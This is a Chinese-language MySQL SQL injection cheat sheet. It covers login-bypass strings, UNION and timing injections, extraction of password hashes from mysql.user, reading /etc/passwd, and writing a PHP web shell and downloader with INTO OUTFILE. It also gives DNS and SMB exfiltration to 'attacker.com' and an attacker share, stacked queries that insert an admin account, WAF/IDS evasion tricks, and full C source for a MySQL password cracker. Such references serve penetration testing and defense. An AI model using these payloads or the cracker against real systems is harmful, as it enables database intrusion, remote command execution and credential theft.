MYSQL
默认数据库
| mysql | Requires root privileges |
| information_schema | Availalble from version 5 and higher |
测试注射
False表示查询无效(MySQL错误/网站上缺少内容)
True表示查询有效(内容像往常一样显示)
字符串
# SELECT * FROM Table WHERE id = '1';
数字
#SELECT * FROM Table WHERE id = 1;
| AND 1 | True |
| AND 0 | False |
| AND true | True |
| AND false | False |
| 1-false | Returns 1 if vulnerable |
| 1-true | Returns 0 if vulnerable |
| 1*56 | Returns 56 if vulnerable |
| 1*56 | Returns 1 if not vulnerable |
例子:
-
-
- SELECT * FROM Users WHERE id = 3-2;
-
笔记:
-
-
-
trueis equal to 1. -
falseis equal to 0.
-
-
登陆框:
# SELECT * FROM Table WHERE username = '';
| ' OR '1 |
| ' OR 1 -- - |
| " OR "" = " |
| " OR 1 = 1 -- - |
| '=' |
| 'LIKE' |
| '=0--+ |
例子:
-
- SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
注释
注入后,以下内容可用于注释掉查询的其余部分:
| # | Hash comment |
| /* | C-style comment |
| -- - | SQL comment |
| ;%00 | Nullbyte |
| ` | Backtick |
例子:
-
- SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
- SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
笔记:
-
-
- 反引号只能在用作别名时用于结束查询。
-
测试版本
-
-
具体代码
/*!VERSION Specific Code*/
-
例子:
#SELECT * FROM Users limit 1,{INJECTION POINT};
| 1 /*!50094eaea*/; | False - version is equal or greater than 5.00.94 |
| 1 /*!50096eaea*/; | True - version is lesser than 5.00.96 |
| 1 /*!50095eaea*/; | False - version is equal to 5.00.95 |
笔记:
-
-
- 在由于注入位置而无法再向查询添加SQL的情况下,确定版本非常有用。
- 有关MySQL特定代码的更多信息,请参阅特定于MySQL的代码。
-
数据库凭据
| Table | mysql.user |
| Columns | user, password |
| Current User | user(), current_user(), current_user, system_user(), session_user() |
例子:
- SELECT current_user;
- SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
数据库名称
| Tables | information_schema.schemata, mysql.db |
| Columns | schema_name, db |
| Current DB | database(), schema() |
例子:
-
- SELECT database();
- SELECT schema_name FROM information_schema.schemata;
- SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
服务器主机名
- @@HOSTNAME
例子:
- SELECT @@hostname;
服务器MAC地址
通用唯一标识符是128位数字,其中最后12位数字由接口MAC地址组成。
- UUID()
输出:
- aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
笔记:
-
-
- 可能会在某些操作系统上返回48位随机字符串而不是MAC地址。
-
表和列
order & group by
笔记:
-
-
-
- version=10 for MySQL 5
-
-
检索列
-
- SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例子:
-
- SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
输出:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
- SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
例子:
- SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';
输出:
Table: talk_revisions
Column: revid
Table: talk_revisions
Column: userid
Table: talk_revisions
Column: user
Table: talk_projects
Column: priority
从列名称中查找表
| SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; | Finds the table names for any columns named username. |
| SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; | Finds the table names for any columns that contain the word user. |
从表名中查找列
| SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; | Finds the columns for the Users table. |
| SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; | Finds the column names for any tables that contain the word user. |
找出当前的查询
| SELECT info FROM information_schema.processlist | Available starting from MySQL 5.1.7. |
避免引用
| SELECT * FROM Users WHERE username = 0x61646D696E | Hex encoding. |
| SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | CHAR() Function. |
字符串连接
| SELECT 'a' 'd' 'mi' 'n'; |
| SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
| SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); |
| SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n'); |
笔记:
-
-
-
CONCAT()如果任何参数为NULL,则返回NULL。而是使用CONCAT_WS()。 -
第一个参数
CONCAT_WS()定义了其余参数的分隔符。
-
-
条件陈述
| CASE |
| IF() |
| IFNULL() |
| NULLIF() |
例子:
- SELECT IF(1=1, true, false);
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
定时
| SLEEP() | MySQL 5 |
| BENCHMARK() | MySQL 4/5 |
例子:
- ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
特权
文件权限
-
-
- 以下查询可帮助确定给定用户的FILE权限。
-
| SELECT file_priv FROM mysql.user WHERE user = 'username'; | Root privileges required | MySQL 4/5 |
| SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; | No privileges required | MySQL 5 |
读取文件
-
-
- 如果用户具有FILE权限,则可以读取文件。
- LOAD_FILE()
-
例子:
- SELECT LOAD_FILE('/etc/passwd');
- SELECT LOAD_FILE(0x2F6574632F706173737764);
笔记:
-
-
- 文件必须位于服务器主机上。
-
LOAD_FILE()的基本目录是
@@datadir。 - 该文件必须是MySQL用户可读的。
- 文件大小必须小于max_allowed_packet。
-
默认大小为
@@max_allowed_packet1047552字节。
-
写文件
-
- 如果用户具有FILE权限,则可以创建文件。
- INTO OUTFILE/DUMPFILE
- 如果用户具有FILE权限,则可以创建文件。
例子:
- 编写PHP shell:
- SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
- 然后访问:
- http://localhost/shell.php?c=cat%20/etc/passwd
- 要写下载器:
- SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
- 然后访问:
- http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
笔记:
-
-
-
文件无法覆盖
INTO OUTFILE。 -
INTO OUTFILE必须是查询中的最后一个语句。 - 无法对路径名进行编码,因此需要引号
-
文件无法覆盖
-
通道
DNS 请求
| SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\')); |
SMB 请求
| ' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt |
堆叠查询
MySQL可以进行堆栈查询,具体取决于PHP应用程序使用哪个驱动程序与数据库进行通信。
该 PDO_MYSQL 驱动程序支持堆查询。该 MySQLi (改进扩展)驱动程序还支持通过堆查询 multi_query() 功能。
例子:
-
- SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
- SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;
MySQL-specific 代码
MySQL允许您指定感叹号后的版本号。仅当版本大于或等于指定的版本号时,才会执行注释中的语法。
例子:
-
- UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
- SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
笔记:
-
-
- 第一个示例返回版本; 它使用一个有2列的UNION。
- 第二个示例演示了如何绕过WAF / IDS。
-
模糊和混淆
以下字符可用作空格。
| 09 | Horizontal Tab |
| 0A | New Line |
| 0B | Vertical Tab |
| 0C | New Page |
| 0D | Carriage Return |
| A0 | Non-breaking Space |
| 20 | Space |
例子:
-
- '%0A%09UNION%0CSELECT%A0NULL%20%23
括号也可用于避免使用空格。
| 28 | ( |
| 29 | ) |
例子:
-
- UNION(SELECT(column)FROM(table))
AND / OR后允许的字符
| 20 | Space |
| 2B | + |
| 2D | - |
| 7E | ~ |
| 21 | ! |
| 40 | @ |
例子:
-
- SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
笔记:
-
-
-
-
dual是一个可用于测试的虚拟表。
-
-
-
用注释混淆
注释可用于分解查询以欺骗WAF / IDS并避免检测。通过使用#或 - 后跟换行符,我们可以将查询拆分为单独的行。
例子:
-
1'# AND 0-- UNION# I am a comment! SELECT@tmp:=table_name x FROM-- `information_schema`.tables LIMIT 1#
URL编码注入看起来像:
-
1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23
某些函数也可以使用注释和空格进行混淆。
-
VERSION/**/%A0 (/*comment*/)
编码
编码注射有时可用于WAF / IDS规避。
| URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
| Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
| Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
| Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
避免关键字
如果IDS / WAF已阻止某些关键字,则可以通过其他方式绕过它而不使用编码。
-
information_schema.tables
| Spaces | information_schema . tables |
| Backticks | `information_schema`.`tables` |
| Specific Code | /*!information_schema.tables*/ |
| Alternative Names | information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints |
笔记:
-
-
- 备用名称可能取决于表中存在的PRIMARY键。
-
运算符
AND , &&
|
Logical AND |
= |
Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement) |
:= |
Assign a value |
BETWEEN ... AND ... |
Check whether a value is within a range of values |
BINARY |
Cast a string to a binary string |
& |
Bitwise AND |
~ |
Invert bits |
| |
Bitwise OR |
^ |
Bitwise XOR |
CASE |
Case operator |
DIV |
Integer division |
/ |
Division operator |
<=> |
NULL-safe equal to operator |
= |
Equal operator |
>= |
Greater than or equal operator |
> |
Greater than operator |
IS NOT NULL |
NOT NULL value test |
IS NOT |
Test a value against a boolean |
IS NULL |
NULL value test |
IS |
Test a value against a boolean |
<< |
Left shift |
<= |
Less than or equal operator |
< |
Less than operator |
LIKE |
Simple pattern matching |
- |
Minus operator |
% or MOD |
Modulo operator |
NOT BETWEEN ... AND ... |
Check whether a value is not within a range of values |
!= , <>
|
Not equal operator |
NOT LIKE |
Negation of simple pattern matching |
NOT REGEXP |
Negation of REGEXP |
NOT , !
|
Negates value |
|| , OR
|
Logical OR |
+ |
Addition operator |
REGEXP |
Pattern matching using regular expressions |
>> |
Right shift |
RLIKE |
Synonym for REGEXP |
SOUNDS LIKE |
Compare sounds |
* |
Multiplication operator |
- |
Change the sign of the argument |
XOR |
Logical XOR |
常量
| current_user |
| null, \N |
| true, false |
密码哈希
在MySQL 4.1之前,由PASSWORD()函数计算的密码哈希长度为16个字节。这样的哈希看起来像这样:
| PASSWORD('mypass') | 6f8c114b58f2ce9e |
从MySQL 4.1开始,PASSWORD()函数已被修改为产生更长的41字节哈希值:
| PASSWORD('mypass') | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
密码破解
Cain&Abel和John the Ripper都能够破解MySQL 3.x-6.x密码。
可以在此处找到JTR的Metasploit模块。
MySQL < 4.1 Password Cracker
这个工具是一个用于MySQL哈希密码的高速暴力密码破解程序。它可以在普通PC上在几小时内打破包含任何可打印ASCII字符的8个字符的密码。
/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast * $ MySQLfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; }